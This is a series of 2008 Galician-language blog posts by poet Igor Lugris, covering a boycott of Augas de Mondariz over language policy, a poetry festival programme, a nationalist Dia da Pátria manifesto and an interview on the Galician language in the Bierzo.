E, para finalizar, essa postdata, com a que pensam que podem ir de "buen rollito", repartiendo livros de poesia entre estes quatro tolos que protestamos... "Se vostede ten interese, temos algúns exemplares de "NA NOITE ESTRELECIDA", e catálogos das exposicións de Xaxier Pousa, X.Mª Barreiro ou Manuel Aramburu no noso arquivo que poñemos á súa disposición até esgotar existencias, se nos facilita unha dirección física á que enviarllo". Sem mais comentários. O boicote continúa!
Esta é a carta completa que eles enviarom.
Estimado Señor: Póñome en contacto con vostede en relación co correo electrónico que nos envía, e no que se fai eco do rumor estendido a través de internet acerca da oposición de Augas de Mondariz á difusión da lingua e cultura galegas. Descoñecemos a orixe desta noticia, que desmenten as iniciativas que desde Mondariz se levaron a cabo pola Cultura e Lingua Galegas nos últimos anos: No campo da literatura, merecen especial mención a coedición con Ed. Xerais de NA NOITE ESTRELECIDA, escrito por Ramón Cabanillas en Mondariz, ou a colaboración na publicación da histórica cabeceira La Temporada ?La Temporada? -dirixida no seu momento polo poeta- en colaboración coa Fundación Mondariz Balneario, xunto coa que se teñen patrocinado Exposicións de Pintores Galegos (X.M. Barreiro, M. Aramburu ou X. Pousa), ou a recuperación de esculturas de indubidable valor de escritoras galegas como Rosalía de Castro, E. Pardo Bazán ou Concepción Arenal. Tamén destacable é o esforzo actual por documentar a presenza e actividade de personalidades históricos en Mondariz. Nunha primeira etapa, motivadas pola relación da familia Peinador con A. R. Castelao, Valle Inclán, E. Pardo Bazán, W. Fernández Flórez, Rei Soto, M. Murguía, ou a propia Real Academia Galega? . Posteriormente, cando Mondariz recuperou o seu esplendor, con C. Casares, Torrente Ballester, ou Fco. Fernández del Riego. Augas de Mondariz foi ademais Membro Fundador da Fundación Galicia Emigración nos seus esforzos por achegar lazos coa "outra Galicia", e de forma continuada colabora con decenas e decenas de asociacións e entidades culturais de toda Galicia, ademais de exercer o mecenado nos concellos da súa contorna inmediata: Mondariz, Mondariz Balneario e Ponteareas. As tecnoloxías da información e comunicacións avanzaron moito nos últimos anos, pero o esforzo de lograr un diálogo fluído en internet require un soporte demasiado grande para dar cobertura a consumidores -afortunadamente- dos cinco continentes. Por iso a decisión de Augas de Mondariz de empregar na súa web os idiomas Inglés e español. Por todo iso pensamos que non pode argumentarse que Augas de Mondariz estea contra a cultura galega, salvo que esta afirmación sexa promovida por intereses alleos á cultura. AUGAS DE MONDARIZ P.D.- Se vostede ten interese, temos algúns exemplares de "NA NOITE ESTRELECIDA", e catálogos das exposicións de Xaxier Pousa, X.Mª Barreiro ou Manuel Aramburu no noso arquivo que poñemos á súa disposición até esgotar existencias, se nos facilita unha dirección física á que enviarllo. ESTA é A UNICA NOTA OFICIAL DE AUGAS DE MONDARIZ, POLO QUE AGRADECEREMOSLLE NON PRESTE ATENCIÓN A OUTROS COMUNICADOS".
Esta é, para finalizar, a minha resposta à sua resposta. O boicote continúa.
Senhores Águas de Mondariz,
o seu novo correio, agora já redigido em galego, nom é mais que um conjunto de palavras vazias que nom aclaram em nengum momento se se fam vostedes responsáveis ou nom do anterior comunicado insultante e desprezativo para com a nossa língua e a nossa cultura, e se asumem, compartilham e apoiam o comunicado emitido polo Club Financiero de Vigo contra a nossa língua.
Do seu correio, pretencioso e ridículo, só quero destacar, por nom entrar em debates que nom levam a nengum lado, porque a sua opçom neste tema é clara, o facto de que o seu web só contempla a opçom de espanhol e inglês. Dim vostedes, como excusa, que "As tecnoloxías da información e comunicacións avanzaron moito nos últimos anos, pero o esforzo de lograr un diálogo fluído en internet require un soporte demasiado grande para dar cobertura a consumidores -afortunadamente- dos cinco continentes. Por iso a decisión de Augas de Mondariz de empregar na súa web os idiomas Inglés e español". Imagino que essa tonteria, nom lha contam à sua empresa matriz, Vichy, que tem o seu web em inglês, franzês, espanhol e catalám. Será que nom vendem nos cinco continentes? Ou será que é umha empresa catalana respeituosa com a língua e cultura catalá e com as pessoas catalámfalantes?
Em fim, polo que a mim respeita, a campanha de boicote aos seus produtos sigue activa. E agora, depois de comunicar-lha por correio à sua empresa matriz, também será extendida aos demais produtos de Vichy, até que realmente rectifiquem. E, se nom, disponham-se a perder clientela e baixar vendas.
Vostedes começarom esta batalha.
Igor Lugris
poeta, escritor e ex-consumidor de Mondariz
O correio da Vichy é: consumidor@vichycatalan.es
Escrevelhes também a eles!!!
Depois da declaraçom do autodenominado "Clube Financieiro Vigo", várias pessoas contactarom com algumhas das empresas que fam parte desse "selecto" grupelho, entre elas Águas de Mondariz, para amosar-lhe o seu desacordo com um documento que atacava, frontalmente, a nossa língua, a nossa cultura, a nossa própria identidade, individual e colectiva, como galegas/os e como povo galego.
Esta empresa, Águas de Mondariz, respostou em termos que parecem umha paródia dos tópicos de entidades paranoicas, tipo "Galicia Bilingüe".
Depois disso, já som várias as pessoas que tenhem contactado novamente com Águas de Mondariz, para fazer-lhes saber que nom seguiram sendo consumidoras dos seus produtos.
Eu também lhes escrevim o correio que podedes ver mais abaixo, e, desde aqui, animo a todas as pessoas que leam este blogue a participar em todas quantas campanhas se ponham em marcha de boicote aos produtos de Mondariz, e a todas quantas empresas tenham atitudes semelhantes, e a enviar-lhe correios semelhantes.
Esta é a carta que lhes enviei hoje mesmo.
Senhores Água de Mondariz,
Escrevo-lhes desde o Bierzo, território galegófono sob administraçom da Comunidade Autónoma de Castela e Leom porque desejo expressar-lhes a minha irrevocável decisom como consumidor de DEIXAR DE COMPRAR a sua água e convidar a TODAS AS MINHAS AMIZADES que deixem de adquirir os seus produtos.
Os motivos som, como já vostés sabem, as últimas declaraçons do Clube Financeiro de Vigo a respeito da língua, que vostés decidirom apoiar, e as respostas insultantes cara a nossa língua e cultura que estám a dar às queijas que muitas pessoas já lhe estam fazendo chegar.
Se vostedes pensam que a língua galega é "una fuente de riqueza cultural, magia inspiracional y de melodía poética", e nom um instrumento de comunicaçom próprio que devemos defender, potenciar e promover, umha ferramenta de trabalho, e umha mostra de identidade com a que apresentar-nos ante o mundo inteiro, eu e outras muitas pessoas decidimos que comprar os seus produtos é colaborar com a campanha de ataques contra a língua galega que a direita espanholista esta (estades) a promover.
Enviarei cópia deste correio a todos os meus contactos de internet, e colaborarei em todas as campanhas que se ponham em marcha para boicotar e contrapublicitar os seus produtos, até que mudem a sua opiniom e a sua postura com respeito à língua galega.
Igor Lugris Alvares.
Poeta, escritor e ex-consumidor de Água de Mondariz
Orensano:
penso que nom a provache bem. A água de Mondariz, nom sabe, ou melhor dito: sabe mal, nom sabe bem. E, para além disso, parece que também nom sabe falar bem…
Água da bilha, ou das fontes naturais do nosso país, essa sim que é água boa!
Agua de Mondariz = Moito Boa
----- -------- AUTHOR: Lugris TITLE: ... e hoje na Revista das Letras (mais autobombo) BASENAME: e-hoje-na-revista-das-letras DATE: Thu, 04 Sep 2008 06:26:43 +0000 STATUS: publish PRIMARY CATEGORY: Escrever nom é mau CATEGORY: Cousas por aí CATEGORY: Cousas por cá CATEGORY: Gz é bem pequena CATEGORY: Para Ver Ler TAGS: ----- BODY:Hoje aparece na Revista das Letras, o suplemento literário-cultural do Galicia Hoje, o monográfico que me dedicam.
10 poemas, e a reproduçom de três dos cartazes que fam parte de "Poesia para ver/Poesia para ler", junto com umha grande foto, de Benja G. Lainez, e umha pequena introduçom da autoria das/os responsáveis da RdL.
Quem tenha mais interese na "Poesia para ver/Poesia para ler", já sabe que nesta fim de semana pode ver/ler a expo no Festival da Poesia do Condado, em Salvaterra, e, a partir do dia 8 de Setembro, e até o 8 de Outubro, no Centro Social Baiuca Vermelha, de Ponte Areias, também no Condado.
----- -------- AUTHOR: Lugris TITLE: Hoje no "Galicia Hoxe" (isto é autobombo) BASENAME: hoje-no-galicia-hoxe DATE: Wed, 03 Sep 2008 05:51:57 +0000 STATUS: publish PRIMARY CATEGORY: Gz é bem pequena CATEGORY: Cousas por aí CATEGORY: Escrever nom é mau TAGS: ----- BODY:Hoje, publicam no Galicia Hoxe o resultado dumha entrevista que me figerom, como introduçom ao monográfico que manham publicaram na "Revista das Letras":
"Lugrís, a quen GALICIA HOXE lle dedicará o suplemento Revista das Letras desta semana, é un deses escritores que lograron tecer, paseniño, con iniciativas cimentadas na forza da vontade e da inventiva e alén da industria cultural, as súas redes de lectores".
Sob o titular "Crer en nós mesmos", recolhe a jornalista M. Dopico as minhas reflexons sobre diferentes temas relacionados com a poesia, a literatura, a arte, a cultura em geral, com Galiza, etc...: "A literatura é, para Lugrís, un xeito de "interpretar o mundo. Non creo que sirva para transformalo, pero si para clarificalo, e iso pode ser a base para mudalo. Esta é a miña opción. Outros poetas teñen outras, tamén válidas. Creo que a poesía non debe procurar a beleza, senón a verdade. Pero non todo é compromiso. Tamén ten que ter unha parte atractiva, evocadora, que te anime a seguir adiante", comentou. As obras deste poeta amosan unha continuidade temática, que xira arredor de varios eixes. Un deles é o amor: os sentimentos, os corpos... que Lugrís conecta con cuestións sociais e políticas como a situación da lingua galega e a súa función alicerzadora da identidade: outra das súas inquedanzas, como a liberdade".
Manham, pois, na Revista das Letras, mais, acompanhando a quem já saiu até agora: Lucía Aldao, María do Carme Kruckenberg, Rafa Janeiro, Lupe Gómez, Carlos Lema, Xesús Constela, Ildásio Tavares,...
----- -------- AUTHOR: Lugris TITLE: Citas BASENAME: citas DATE: Mon, 01 Sep 2008 09:09:49 +0000 STATUS: publish PRIMARY CATEGORY: Cousas por aí CATEGORY: Gz é bem pequena CATEGORY: Stop hipocrisia! TAGS: ----- BODY:"Falar de nacionalismo de esquerdas, se nos referimos ao BNG, é hoxe por hoxe máis que aventurado, mesmo o carimbo da socialdemocracia incomodaría a algúns dos seus dirixentes: católicos practicantes, "juancarlistas" e defensores da acumulación de plusvalías (...) A ideoloxía do Bloque agora é tan laxa que sería asumíbel por calquera persoa de centro, nacionalista ou non, e iso os novos dirixentes considérano positivo (...) Á xente de esquerdas parécenos escaso. Unha forza política que non cuestiona o marco do estado, a monarquía, o reparto da riqueza, o papel da igrexa, as relacións laborais, etc, difícilmente nos ha representar. Fíase todo á boa vontade, tipo ONG; á xestión honesta do capitalismo salvaxe e da descentralización administrativa que Madrid nos outorgou."
A entrevista, inteira, aqui.
----- -------- AUTHOR: Lugris TITLE: A Corunha à luz das letras BASENAME: a-corunha-a-luz-das-letras DATE: Tue, 26 Aug 2008 15:58:10 +0000 STATUS: publish PRIMARY CATEGORY: Cousas por aí CATEGORY: Escrever nom é mau CATEGORY: Gz é bem pequena CATEGORY: Livros TAGS: ----- BODY:Há umhas quantas semanas, subim ao blogue o poema que constitue o meu contributo a este livro colectivo, editado pola Concelharia de Cultura da Corunha (quem o diria há uns anos...?) e a AELG, e publicado pola editorial Trifolium, com motivo do 800º aniversário da fundaçom dessa cidade, na que vivim durante 8 anos quando era cativo, entre os 6 e os 14 anos.
O livro reune colaboraçons de 72 escritores que, segum dim, supom "um percorrido muito particular polos caminhos da memória", e no que convivem todo tipo de géneros literários, sendo assim um livro "diverso e poliédrico", asegura Cesáreo Sanchéz, Presidente da AELG.
O livro, apresenta-se hoje mesmo na Corunha, num acto com recital poético incluido no que participarám algum/ha das autoras/es.
----- -------- AUTHOR: Lugris TITLE: Em Setembro, em Salvaterra BASENAME: em_setembro_em_salvaterra DATE: Fri, 01 Aug 2008 06:45:08 +0000 STATUS: publish PRIMARY CATEGORY: Gz é bem pequena CATEGORY: Cousas por aí CATEGORY: Para Ver Ler TAGS: ----- BODY:Chegou há uns das a informaçom sobre o XXII Festival da Poesia do Condado, organizado, como sempre, pola SCD do Condado. Este ano, som a legenda "Galiza nom se vende".
Um amplo programa, que dá começo a quinta-feira, 4 de Setembro, com exposiçons de pintura, fotografía, poesia visual, com música e, por suposto, com poesia.
Alí estará a exposiçom "Poesia para ver/poesia para ler", e alí estaremos o Sábado dia 6, junto com Xiana Árias, Pedro Casteleiro, Paco Souto, Concha Rousia, Cruz Martínez, Alberto Lema, Lino Braxe, Chus Pato, Pilar Beiro, Núria Martínez Vernís ( dos Països Cataláns), Limam Boicha (do Saara) e Isaque Ferreira (de Portugal), apresentados por Luis Caruncho e Pinto d?Herbón, e com a música d'A Quenlla (Galiza), Canto da Terra (Portugal), Tabanka Djazz (Guiné-Bissau), Pirats Sound Sistema (Països Cataláns). Porque governe quem governe, Galiza nom se vende.
O programa completo pode-lo ver no seu web, ou aqui a seguir.
PROGRAMA DO XXII FESTIVAL DA POESIA NO CONDADO
do 4 ao 6 de setembro 2008. salvaterra de minho.
Qunta-feira 4 de Setembro
19.30
Apertura de exposiçons
Covas de Dona Urraca / CASA DO CONDE
Pintura
- Fernando Morales
- Helena Fontám
Fotografia
Germán Cruces Rajoán: ?Percurso do rio Minho?
Instrumentos tradicionais
Mostra
Igor Lugris: 'Poesia para ver, poesia para ler'
20.00
Jornadas do Audiovisual
COVAS DE DONA URRACA
Curtas premiadas no Festival de Cans
Mabel Rivera e Enrique Banet: ?O salário do silenzo?
Xosé Bocixa: ?As Encrobas. A ceo aberto?
22.30
Noite galega
Covas de Dona Urraca
Tino Baz e Grupo
Poeta: Marica Campo
-Aforo limitado
-Entrada 10 ?
- Reserva de bilhetes:
info@scdcondado.org ou 986 658 036
Sexta-feira 5 de Setembro
20.30
Jornadas do Audiovisual
COVAS DE DONA URRACA
GZ Vídeos: selecçom de vídeos de Galiza Nom Se Vende
Sants.tv: ?O AVE de Barcelona a Galiza?
Curtas premiadas no Festival de Cans
22.30
Festa da Mocidade
ZONA DAS MURALHAS
Apresentam Os da Ria
POETAS
- O Leo
- Kiko Neves
- Carlos Figueiras
- Valentina Carro
- María Lado
GRUPOS
- Ataque Escampe (Galiza)
- The Turre´s Band (Galiza)
- Os Corvos (Portugal)
- O Sonoro Maxín (Galiza)
Sábado 6 de Setembro
11.30
Marcha popular
- Murga: Sur do Condado
- Gaiteiros: Bailía
- Animaçom de rua: Touporroutou
- Comboio de baixa velocidade
12.30
Mesa Redonda
-Colectivos da rede 'Galiza Non Se Vende'
Feira Popular
Artesanato ao vivo
- Cesteiros, cabaqueiros, tamanqueiros...
17.30
Festa infantil
PRAça do castelo
- Touporroutou
19.30
Festival Poético-Musical
ZOna das muralhas
- Apresentam Luis Caruncho e Pinto d?Herbón
Poetas
- Xiana Árias
- Pedro Casteleiro
- Paco Souto
- Concha Rousia
- Cruz Martínez
- Alberto Lema
- Igor Lugrís
- Lino Braxe
- Chus Pato
- Pilar Beiro
- Núria Martínez Vernís (Països Cataláns)
- Limam Boicha (Saara)
- Isaque Ferreira (Portugal)
Grupos
- A Quenlla (Galiza)
- Canto da Terra (Portugal)
- Tabanka Djazz (Guiné-Bissau)
- Pirats Sound Sistema (Països Cataláns)
Eu quero ser... ghaiteiro!!!
Mais umha vez: Viva o 25!!! VIva o 26!!!
----- COMMENT: AUTHOR: sarai [Visitante] DATE: Fri, 01 Aug 2008 16:43:52 +0000 URL:Juapo, juapo,juapo!!!!!!!!!!!!!!!!!!!!!!!!!
----- COMMENT: AUTHOR: igor [Membro] DATE: Mon, 28 Jul 2008 05:58:43 +0000 URL:Artista Multidisciplinar: esta mensagem chegou, e chegou bem.
Às vezes dá problemas este serviço de comentários. Mas polo teu galego nom é. Vejo que perseverás nel, e isso está mui bem. Muito obrigado pola visita. ;)
hola
pero qué cativo mais fermoso si e como o pai,mais parece unha figuriña que tiña a miña aboa na sua casa fae tempo¡
a veces intento deixarte unha mensage en o teu blog e cando teño todo escrito eno meu galego de merda vai e me din que hay un erro e non me deixa,qué merda
aver si esta vez
bicos e aapertas do Artista Multidisciplinar
Nom puidem estar em Compostela onte, mas celebrei, celebramos na casa, um pouco o 25.
E como lá onde vivemos hoje também som festas, pois deixamos a bandeira, a nossa bandeira, a bandeira também do Bierzo, na janela. Para expresar estética e publicamente essa celebraçom.
----- -------- AUTHOR: Lugris TITLE: Bom Dia da Pátria!!! BASENAME: bom_dia_da_patria DATE: Thu, 24 Jul 2008 06:48:11 +0000 STATUS: publish PRIMARY CATEGORY: Gz é bem pequena CATEGORY: TAGS: ----- BODY:Mais um ano (e vam dous consecutivos), nom poderei estar nas ruas de Compostela nem noite de hoje, nem manham.
Só podo enviar desde aqui saúdos a camaradas e companheiros/as, a aguardar que, novamente, as ruas da capital da nossa naçom escuitem os nossos berros de socialismo, independência e antipatriarcado.
25-J Dia da Pátria: Galiza é a nossa Naçom; obreira a nossa classe. Branco, azul e vermelho as cores da nossa bandeira
O Dia da Pátria de 2008 coincide com o terceiro aniversário do governo PSOE-BNG na Junta da Galiza. O balanço destes mais de 1.000 dias de gestom do bipartido é desolador. Nengumha das raquíticas promessas do acordo de governo foi aplicada. A política económica, sociolaboral, cultural, ambiental, identitária do tandem Tourinho-Quintana é simplesmente continuísta à da era Fraga.
As expectativas depositadas por amplos sectores sociais ficárom em simples águas de bacalhau. A mudança tranquila nom passou de umha mera palavra de ordem que só beneficia a corrupta casta burocrática e funcionarial que aplica a patir de Sam Caetano e das fundaçons privadas políticas neoliberais e regionalistas.
O governinho PSOE-BNG tem cumprido exclusivamente com os desejos e as necessidades dos donos deste país, satisfazendo Madrid e Bruxelas, as multinacionais e o grande Capital, supeditando-se obedientemente ao quadro constitucional e autonómico imposto polo franquismo. Três anos perdidos, pois, na construçom nacional da Galiza.
Mas este 25 de Julho também tem lugar numha conjuntura adversa e difícil para a imensa maioria social que conformamos a Naçom Galega. A grave crise económica do capitalismo está a golpear com força nas condiçons de trabalho e de vida da classe trabalhadora. O desemprego aumenta, os salários estám congelados, a precariedade laboral segue imparáveis tendências alcistas, a pobreza e a exclusom social cresce, a emigraçom é um fenómeno em alta, enquanto se incrementa a inflaçom e os preços dos alimentos de consumo básico, a electricidade, os combustíveis, as hipotecas nom deixam de subir.
Nem o governo espanhol nem o seu apêndice na Comunidade Autónoma adoptam medidas de choque tendentes a paliar os efeitos da crise sobre a maioria social, optando por manter políticas neoliberais que fam recair sobre a classe trabalhadora, basicamente sobre aqueles sectores mais fracos da mesma, -a juventude, pensionistas, mulheres e imigrantes, as suas funestas consequências. Mas, enquanto isto sucede, os bancos, as companhias seguradoras, as grandes empresas, o grande capital consegue aumentar a sua obscena taxa de ganho.
É necessário avançar na configuraçom de um amplo movimento social de protesto para fazer frente à insanciável voracidade da burguesia, para defender os nossos direitos laborais e as nossas condiçons de vida. A classe trabalhadora galega tem que responder com contundência e de forma maciça à crise que nos querem fazer pagar. Há que caminhar face umha greve geral.
As épocas de crise, de ausência de expectativas, de falta de horizontes, de desencanto e ansiedade, som as mais proclives para projectar colectivamente em causas alheias as frustraçons individuais. Enganam-se aqueles e aquelas compatriotas que, abraçando bandeiras foráneas, fundindo-se em alegria com as cores do fascismo e do imperialismo espanhol, coincidindo com os responsáveis pola sua frustraçom em celebraçons promovidas polo regime, vam encontrar o caminho para sair do buraco ao que nos condena Espanha e o Capital.
A luita é a única via para recuperarmos o nível de vida perdido, as condiçons de trabalho arrebatadas, o orgulho de sermos galeg@s, a alegria que nos roubárom. Isto na Galiza está representado pola nossa bandeira, a das cores branca, azul e vermelha.
A esquerda independentista e socialista galega articulada à volta de NÓS-UP apela para que o conjunto da classe trabalhadora da Galiza secunde a mobilizaçom pola Soberania Nacional que convoca a entidade autodeterminista Causa Galiza o 25 de Julho às 13.30 horas na Alameda de Compostela.
Que os ricos paguem a crise!
Contra o Estatuto e a Constituiçom, adiante a luita pola autodeterminaçom!
PP, PSOE, BNG a mesma merda é!
Viva Galiza livre, socialista e nom patriarcal!
Galiza, 25 de Julho de 2008
----- COMMENT: AUTHOR: igor [Membro] DATE: Fri, 25 Jul 2008 06:21:11 +0000 URL:Corrigido!
Muito obrigado, Ptolo!
tens o primeiro parágrafo repetido. abraço!
----- -------- AUTHOR: Lugris TITLE: Estrea de "Ela. Ribeirinha" na Ilha de Arousa BASENAME: estrea_de_ela_ribeirinha_na_ilha_de_arou DATE: Tue, 22 Jul 2008 08:12:16 +0000 STATUS: publish PRIMARY CATEGORY: sms CATEGORY: Cousas por aí CATEGORY: Gz é bem pequena TAGS: ----- BODY:Estrea de "Ela. Ribeirinha", de Pedro Vila Táboas, na sexta-feira do Dia da Pátria, 25 de Julho, às h., no Concelho da Ilha de Arousa.
Contam com nós. Contam contigo.
Saúde, Pedro.!
Versom original em língua galega, a curtametragem de 10 minutos, em formato de 35mm., dirigida por Pedro Vila Táboas conta a história dumha mulher de 75 anos, que todos os días aguarda na mesma rocha a que o seu marido, teoricamente morto na Guerra do 36, volte. A única relaçom com a vizinhança, é com Chelo, umha mulher de 35 anos, que todos os dias a recolhe na rocha e a leva a misa, para depois deixá-la na casa. Mas umha visita inesperada fai que algumha cousa se mova no tempo de Ela.
----- COMMENT: AUTHOR: Mediopelo [Visitante] DATE: Thu, 31 Jul 2008 17:26:08 +0000 URL:Meu, como é o mundo. Ali estaba o Barón, para dar testemuña da expectación que levantou o corto na Illa. Tanta, que apenas se escoitaban os “diálogos".
Interesante debate o que se montou despois (non na sá, senón na cea): unha obra aberta á interpretación. O Barón non tivo o pracer de discutir co director directamente (estaban demasiado bébedos os dous, é o que ten o Con do Moucho; e non se coñecen), mais si con Chelo e os seus achegados.
Persoalmente, ao Barón sorprendeu-lle o final, aínda non sabe se para ben ou para mal. Iso é un bó sinal.
O Voz Própria, a revista de NÓS-Unidade Popular, entrevista-me no seu último número, para falarmos da situaçom lingüístico-cultural, mas também política, do Bierzo.
Tal e como informam no seu web, nas suas 46 páginas, recolhem-se informaçons sobre parte do trabalho realizado por NÓS-Unidade Popular ao longo dos primeiros meses deste ano, junto a informaçons relativas às luitas de outros povos, nomeadamente o colombiano e o venezuelano. A revista inclui ainda umha lembrança de Francisco Martins, revolucionário português e amigo da organizaçom, recentemente falecido.
Em chave nacional, temas como a crise capitalista que afecta à Galiza ou a repressom ao movimento independentista acompanham um dossier central dedicado a analisar a mutaçom da ditadura fascista em democracia burguesa mediante a operaçom que ficou conhecida polo nome de 'Transiçom espanhola'. Como sempre, a revista está disponível na sua ediçom impressa ao preço de dous euros.
A seguir, ofereço na íntegra a entrevista, ainda que resulta mais cómodo e atractivo aceder a ela no formato digital de fácil leitura que oferecem no seu web.
Qual é a situaçom actual da língua e a cultura galegas no Berzo e do seu movimento normalizador?
Nos dias de hoje, a situaçom que se vive a este respeito no Berzo é como a que se poda viver dentro da Comunidade Autónoma Galega (CAG), mas com o entrave de nom existir nengum tipo de corpo legal que tenha a utilidade de, no mínimo, pôr algum limite à expansom do espanhol. A transmissom oral fora das cidades e das grandes vilas, isto é, no meio rural, mantém-se, mais ou menos como na CAG, mas conhece-se umha cada vez mais forte introduçom do espanhol nestes ámbitos. Nas vilas e nas cidades, como por exemplo Cacabelos, Camponaraia ou Ponferrada (a cidade que exerce de centro nevrálgico de toda a regiom berziana), o retrocesso da língua, em praticamente todos os ámbitos, é evidente. Só as pessoas mais velhas destas vilas mantenhem a língua, enquanto os mais novos a tenhem praticamente perdida, ainda que continuem a empregar muitíssimo vocabulário, expressons, fraseologia, etc... galega. A introduçom da língua galega no ensino, tanto primário como secundário, tem servido para que o ritmo de aculturizaçom nom seja tam rápido, mas nestes momentos nom há nada que lhe ponha freio.
O movimento normalizador fai o que pode, tendo em conta que contamos com poucos meios, pouca estrutura, e que muitas vezes temos que fazer frente a um sinúmero de prejuizos, quando nom ataques direitos, que nos mantenhem numha situaçom permanente de defesa, sem podermos avançar cara posturas mais activas e novidosas no que à promoçom da língua se refire. No Berzo nom estamos na fase de reivindicarmos o nosso direito a viver em galego, porque ainda temos que reclamar o nosso direito a sobreviver em galego. E isto nom é umha brincadeira. Pensai que nesta regiom galegofalante, tal como na Seabra ou no Eu-Návia, a nossa língua nom é oficial, nem co-oficial, e isso significa que, por exemplo, nom é legal dirigir-se às instituiçons públicas (concelhos, Junta, deputaçons, mancomunidades...) em galego. Aqui nom podemos fazer cousas que na CAG paracem tam simples como redigir em galego um escrito comunicando a nossa intençom de colocar umha mesa de reparto de informaçom numha praça ou numha rua, porque o concelho em questom nom admitirá a entrada desse escrito, ou, se o admite, responderá que nom tem obrigaçom de conhecer o idioma, e que, portanto, nom atende o escrito. E como isso, cem mil exemplos mais que poderíamos pôr: muitos meios de comunicaçom nom admitem notas de imprensa ou comunicados redigidos em galego (ou bem som enviados nas duas línguas, ou bem só em espanhol, se queres que che fagam caso), ou nom admitem que lhes fagas declaraçons na nossa língua quando realizamos algumha actividade; nom podemos exercer o nosso direito a ser atendidos em galego em comércios, bancos ou qualquer outro tipo de negócio, mesmo que tenham matriz galega; da mesma forma, nengum tipo de escrito oficial pode ser redigido na nossa língua; as crianças berzianas nom som educadas em galego, ainda que vivam em lugares eminentemente galegofalantes e onde o galego é língua de uso habitual; e assim um longo et cetera de situaçons que na CAG som vividas doutra forma. Porque a questom é que se na CAG alguém quer apresentar umha denúncia por ser discrimando por razom de língua pode fazê-lo, porque existe um corpo legal (mais ou menos útil, mas existe; e outra questom é o resultado final dessa denúncia), mas aqui nem sequer podemos agarrar-nos ao nosso direito a viver em galego, porque esse direito nom existe. Ou melhor dito: o direito existe, aqui como na CAG, mas aqui nom é reconhecido polas instituiçons competentes.
Em datas mais ou menos recentes produzírom-se diversas polémicas com motivo da defesa da territorialidade galega do Berzo e dos outros territórios galegos hoje nom reconhecidos polo Estatuto de Autónomia. Qual avaliaçom fás das mesmas e quê repercussom tivérom no Berzo?
No Berzo, e nos outros territórios do que conhecemos como Galiza irredenta, ou faixa oriental, a Galiza nom autonómica, ou com quigermos chamá-los, este é um tema que cada tanto tempo reaparece. Em ocasions, promovido por meios de comunicaçom sensacionalistas (tipo El Mundo, ou similares), que muitas vezes e com total descaramento só pretendem aumentar as suas vendas. Outras vezes, algum pronunciamento político, de umha ou outra margem da raia, cria novamente um barulho meiático que com o passar dos dias, das semanas, fica em nada. E isso é o lamentável. Porque cada vez que sucede umha cousa assim, nom temos a capacidade para reconduzir a situaçom e estruturar um debate, sério, tranqüilo e plural, sobre o tema da territorialidade.
E aí as culpas há que reparti-las entre muitos: primeiramente, e porque a nós nos atinge mais ao perto, a esquerda independentista é incapaz, por diversos motivos, de aproveitar essa situaçom. Mas também há que dizer que o resto do nacionalismo e a esquerda soberanista também nom consegue, e em ocasions eu suspeito que nem quer, dar forma a esse debate e utilizá-lo para avançar nas suas propostas e posiçons. A última vez em que ocorreu umha cousa assim, foi com motivo da proposta que o BNG fazia para a reforma do Estatuto de Autonomia da CAG, em que recuperava a proposta histórica (já recolhida no Estatuto de Autonomia de 36 e em propostas anteriores), de que qualquer território limítrofe pudesse solicitar a sua integraçom na CAG. É claro que o balbordo mediático espanholeiro foi imediato. Isso é normal. Mas o que nom é normal é que o BNG, e o conjunto do nacionalismo, em vez de defender essa postura, democrática, de dar a capacidade ao povo para decidir o seu futuro, imediatamente comece a pedir desculpa e a tentar disfarçar a proposta. Finalmente, a impressom que dava é que isso nom era mais que umha proposta feita para depois ser retirada, e assim poder ter umha imagem de força ?séria, moderada, moderna?...
No Berzo, estas polémicas vivem-se de diversos modos, como sucedeu com a ?polémica? com o mapa da Galiza editado por NÓS-UP, e que fora distribuído um par de anos antes, mesmo pondo-o à venda em diversos estabelecimentos, com grande sucesso. Os meios de comunicaçom, de forma practicamente unánime, fecham fileiras com o espanholismo antigalego mais rançoso, sem permitir que nengumha voz dissidente ache umha fresta por onde fazer-se ouvir. Mas, noutros ámbitos, na rua, no trabalho, muitas pessoas olham com simpatia movimentos assim, e comentam casos anteriores, falam da proximidade com a Galiza em diferentes campos, e do longe que ficam Leom ou Valhadolid (capital da Comunidade Autónoma de Castela e Leom, CACeL); e nom som poucas as pessoas que apostam em se integrar na Galiza ou em permitir, no mínimo, que essa possibilidade se admita. É claro que as posturas contrárias som muito numerosas, mas eu nom me atreveria a dizer que maioritárias, porque se assim fosse, se estivesse tam clara, tam evidente, a pertença territorial desta regiom à Comunidade Castelo-Leonesa, nom seria tam necessária umha tam furibunda reacçom por parte de instituiçons, cúpulas de partidos e organizaçons empresariais e sindicais, e meios de comunicaçom. Quando é preciso dedicar horas e horas de televisom, páginas e páginas de jornais, horas e horas de rádio, a defender a ?nom-galeguidade? do Berzo, é que a questom nom deve estar tam clara.
Da nossa capacidade e fortaleça depende que sejamos capazes de aproveitarmos essas ocasions para criar consciência, para conseguirmos introduçom social, para criar estrutura, por feble que seja, que nos permita avançar, defendendo sempre e abertamente a galeguidade do Berzo.
O Parlamento do Horreo aprovou na anterior legislatura, no ano 2004, e por unanimidade um Plano Geral de Normalizaçom da Língua Galega, que incluia diferentes actuaçons a realizar nos territórios estremeiros. Desenvolvêrom-se algumhas destas actuaçons? Que actividade leva adiante o actual governo bipartido da comunidade autónoma galega no Berzo e que opiniom tés da mesma?
Quando no ano 2004 o Parlamento galego aprova por unanimidade, ainda sob um governo Fraga, o PGNL, a esquerda independentista e umha grande parte do reintegracionismo criticou-no por diversos motivos. Cá no Berzo, estivemos numha postura complicada, porque ainda que compartilhássemos muitos dos critérios da esquerda independentista e do reintegracionismo para realizar criticas a esse Plano, também pensávamos que as propostas que ali se faziam em relaçom ao que denominavam ?galego estremeiro, quer dizer, o galego falado desde sempre em territórios da antiga Gallaecia que hoje nom pertencem à Comunidade Autónoma de Galiza?, eram muito interessantes e importantes para avançarmos no caminho da defesa e promoçom da nossa língua e cultura.
